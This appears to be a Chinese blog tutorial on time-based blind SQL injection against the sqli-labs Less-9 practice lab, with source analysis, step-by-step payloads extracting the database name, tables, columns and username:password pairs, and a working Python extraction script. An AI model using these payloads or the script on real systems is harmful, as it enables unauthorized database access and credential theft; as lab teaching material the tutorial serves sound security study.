2026-07-10
Mysql注入
00
请注意,本文编写于 127 天前,最后修改于 120 天前,其中某些信息可能已经过时。

目录

sql注入手法决策树
一、源码逐行分析
二、为什么布尔盲注不行了?
三种关卡对比
三、时间盲注核心原理
3.1 核心思想
3.2 两个关键函数
3.3 if + sleep 的工作原理
四、时间盲注完整流程(Less-9)
Step 1:确认注入点
Step 2:猜数据库名长度
Step 3:逐位猜数据库名
Step 4:爆表名、字段、数据(逻辑一样)
五、布尔盲注 vs 时间盲注
六、为什么有的场景两种都能用?
关键看页面能提供什么信息
Less-8 和 Less-9 的本质区别
七、时间盲注的替代函数
八、时间盲注 Python 脚本
九、记忆口诀

时间盲注原理,时间盲注常用函数,py脚本撰写,sql注入手法决策树


sql注入手法决策树

图片.png

一、源码逐行分析

php
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0);

第1-3行:引入数据库连接,关闭 PHP 错误报告。

php
if(isset($_GET['id'])) { $id=$_GET['id'];

第5-7行:从 URL 获取 id 参数,没有任何过滤。

php
$fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);

第9-11行:日志记录,和注入无关。

php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第14行:核心漏洞! $id 被单引号包裹,直接拼进 SQL,字符型注入。

php
$result=mysql_query($sql); $row = mysql_fetch_array($result);

第15-16行:执行查询,获取结果。

php
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; }

第18-23行:查到数据 → 显示 You are in...........

php
else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; // ← 注意这里! //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }

第25-34行:关键!查不到数据时,也显示 You are in...........!

对比 Less-8:

  • Less-8:else 分支里什么都不显示
  • Less-9:else 分支里同样显示 You are in...........

这意味着:无论查询成功还是失败,页面显示完全一样!


二、为什么布尔盲注不行了?

三种关卡对比

关卡查到数据查不到数据能否用布尔盲注能否用报错注入只能用
Less-1显示用户名密码报错❌(有回显位,用联合查询)❌联合查询
Less-5You are in...报错信息❌✅报错注入
Less-8You are in...空白✅❌布尔盲注
Less-9You are in...You are in...❌❌时间盲注

Less-9 的页面永远显示一样的东西,布尔盲注判断不了真假,报错注入没有报错信息。唯一的判断依据只剩下:页面响应时间。


三、时间盲注核心原理

3.1 核心思想

让 SQL 语句执行时间变长,通过测量页面响应时间来判断条件真假。

3.2 两个关键函数

函数语法作用
if(condition, true_value, false_value)if(1=1, sleep(5), 1)条件为真执行 A,为假执行 B
sleep(n)sleep(5)暂停 n 秒

3.3 if + sleep 的工作原理

sql
?id=1' and if(1=1, sleep(5), 1) --+

拆解:

部分含义
1=1条件,永远为真
sleep(5)条件为真时执行,暂停 5 秒
1条件为假时执行,什么都不做
and前面的 id='1' 为真,继续执行后面的 if

执行结果:

  • id='1' 查到数据 → and 右边也要执行 → if(1=1, sleep(5), 1) → 执行 sleep(5) → 页面延迟 5 秒
sql
?id=1' and if(1=2, sleep(5), 1) --+
  • if(1=2, ...) → 条件为假 → 执行 1 → 页面不延迟

四、时间盲注完整流程(Less-9)

Step 1:确认注入点

sql
?id=1' and if(1=1, sleep(5), 1) --+

图片.png → 页面延迟 5 秒 ✅

sql
?id=1' and if(1=2, sleep(5), 1) --+

→ 页面不延迟 ✅

结论:存在时间盲注,单引号字符型。


Step 2:猜数据库名长度

sql
?id=1' and if(length(database())=8, sleep(5), 1) --+

→ 延迟 5 秒 → 长度 = 8 ✅


Step 3:逐位猜数据库名

sql
-- 猜第1位 ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) --+

→ 延迟 5 秒 → 第1位 = s(ASCII 115)

sql
-- 猜第2位 ?id=1' and if(ascii(substr(database(),2,1))=101, sleep(5), 1) --+

→ 延迟 5 秒 → 第2位 = e(ASCII 101)

...以此类推,8 位全部猜完 → security


Step 4:爆表名、字段、数据(逻辑一样)

sql
-- 猜表名总长度 ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29, sleep(5), 1) --+ -- 逐位猜表名 ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101, sleep(5), 1) --+ -- 猜字段 ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))=105, sleep(5), 1) --+ -- 猜数据 ?id=1' and if(ascii(substr((select group_concat(username,':',password) from users),1,1))=68, sleep(5), 1) --+

五、布尔盲注 vs 时间盲注

对比项布尔盲注(Less-8)时间盲注(Less-9)
页面特征真/假两种不同页面页面永远一样
判断依据页面内容(有无 You are in)响应时间(有无延迟)
核心函数length()、substr()、ascii()同上 + if()、sleep()
速度较快极慢(每次判断要等 sleep)
稳定性高低(网络波动影响大)
Payload 区别and ascii(...)=115and if(ascii(...)=115, sleep(5), 1)

六、为什么有的场景两种都能用?

关键看页面能提供什么信息

页面特征可用手法
有回显位(显示具体数据)联合查询
无回显,但有报错信息报错注入
无回显,无报错,但真假页面不同布尔盲注
无回显,无报错,真假页面相同时间盲注

Less-8 和 Less-9 的本质区别

php
// Less-8 的 else 分支 else { echo ""; // ← 什么都不显示! } // Less-9 的 else 分支 else { echo 'You are in...........'; // ← 和 if 分支显示一样!

Less-8 能用布尔盲注,因为真假页面不同(有/无 You are in)。

Less-9 只能用时间盲注,因为真假页面完全相同,只能看时间。


七、时间盲注的替代函数

除了 sleep(),还有:

函数作用示例
sleep(n)暂停 n 秒sleep(5)
benchmark(count, expr)重复执行 expr count 次benchmark(5000000, md5('a'))
heavy_query复杂查询拖时间select count(*) from information_schema.columns A, information_schema.columns B

benchmark() 在某些 sleep() 被过滤的场景下使用。


八、时间盲注 Python 脚本

python
import requests import time url = "http://localhost/sqli-labs-master/Less-9/" def time_check(payload, delay=3): """发送请求,判断响应时间是否超过 delay 秒""" start = time.time() requests.get(url + payload) elapsed = time.time() - start return elapsed > delay # ========== 猜长度 ========== def get_length(query): for i in range(1, 50): payload = f"?id=1' and if(length(({query}))={i}, sleep(3), 1) --+" if time_check(payload, 3): print(f"长度: {i}") return i return 0 # ========== 逐位猜字符串 ========== def get_string(query, length): result = "" for pos in range(1, length + 1): low, high = 32, 127 while low < high: mid = (low + high) // 2 payload = f"?id=1' and if(ascii(substr(({query}),{pos},1))>{mid}, sleep(3), 1) --+" if time_check(payload, 3): low = mid + 1 else: high = mid result += chr(low) print(f"第{pos}位: {chr(low)}") return result # 运行 if __name__ == "__main__": db_query = "select database()" db_len = get_length(db_query) db_name = get_string(db_query, db_len) print(f"[+] 数据库名: {db_name}")

九、记忆口诀

Less-8 页面有真假,布尔盲注看回显 Less-9 页面永远一样,时间盲注看延迟 if 条件真就 sleep,页面卡住进判断 if 条件假就过,页面飞快是假面